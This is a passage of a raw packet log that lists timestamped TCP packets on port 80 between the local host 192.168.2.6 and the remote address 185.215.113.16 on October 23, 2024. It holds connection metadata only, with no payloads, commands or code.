Oct 23, 2024 17:51:41.593014956 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593025923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593038082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593044043 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593049049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593061924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593066931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593070030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593071938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593082905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593085051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593095064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593106031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593111038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593118906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593123913 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593133926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593139887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593144894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593158960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593172073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593173027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593173027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593184948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593184948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593204975 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593215942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593220949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593225956 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593226910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593239069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593249083 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593255997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593261003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593271971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593277931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593282938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593293905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593302965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593302965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593307018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593317032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593328953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593328953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593353987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593355894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593374968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593379021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593386889 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593398094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593401909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593409061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593420982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593424082 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593432903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593439102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593447924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593450069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593460083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593461990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593473911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593485117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593489885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593489885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593496084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593517065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593528032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593539000 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593542099 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593549967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593566895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593566895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593573093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593583107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593585014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593595982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593606949 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593616009 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593619108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593628883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593641043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593642950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593652010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593660116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593662977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593673944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593684912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593689919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593694925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593703032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593715906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593719959 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593727112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593739033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593744040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593750954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593761921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593767881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593769073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593780994 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593792915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593794107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593803883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593813896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593826056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593827009 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593838930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593838930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593847036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593852043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593866110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593873978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593880892 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593897104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593909025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593914986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593928099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593933105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593933105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593940973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593950033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593954086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593960047 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593969107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593981981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.593986034 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.593995094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594002008 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594007015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594018936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594022989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594042063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594043016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594054937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594067097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594068050 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594079018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594090939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594090939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594105005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594118118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594124079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594124079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594132900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594146967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594152927 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594152927 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594160080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594167948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594173908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594176054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594189882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594201088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594202995 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594202995 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594213009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594224930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594228983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594244957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594249010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594258070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594269991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594273090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594281912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594293118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594293118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594305038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594314098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594316959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594329119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594336033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594342947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594355106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594357967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594374895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594383001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594383001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594387054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594403028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594410896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594415903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594429970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594429970 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594435930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594443083 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594454050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594458103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594458103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594466925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594475985 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594480038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594486952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594492912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594501019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594518900 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594522953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594536066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594537020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594547987 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594559908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594567060 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594572067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594584942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594594002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594599962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594613075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594619036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594625950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594641924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594651937 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594651937 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594664097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594675064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594683886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594686985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594695091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594700098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594712973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594722033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594727039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594755888 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594805002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594818115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594825029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594834089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594841003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594854116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594862938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594866991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594871044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594880104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594891071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594892979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594903946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594916105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594917059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594917059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594923973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594929934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594942093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594944000 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594950914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594954967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594959021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.594979048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.594983101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595001936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595004082 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595010042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595016956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595029116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595041037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595042944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595050097 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595057964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595062971 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595069885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595082998 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595084906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595099926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595103025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595105886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595118046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595124960 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595124960 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595139980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595156908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595172882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595176935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595189095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595201015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595211983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595212936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595225096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595236063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595246077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595246077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595248938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595262051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595269918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595274925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595279932 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595287085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595294952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595300913 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595323086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595326900 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595340967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595350981 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595355034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595367908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595401049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595457077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.595482111 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.595503092 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625005960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625083923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625094891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625124931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625135899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625160933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625196934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625207901 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625238895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625252962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625289917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625324011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625339985 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625360012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625365019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625395060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625447035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625448942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625485897 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625503063 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625521898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625549078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625555038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625567913 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625601053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625610113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625658989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625665903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625705004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625720978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625755072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625771999 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625790119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625801086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625824928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625833035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.625860929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.625874043 CEST	49868	80	192.168.2.6	185.215.113.16
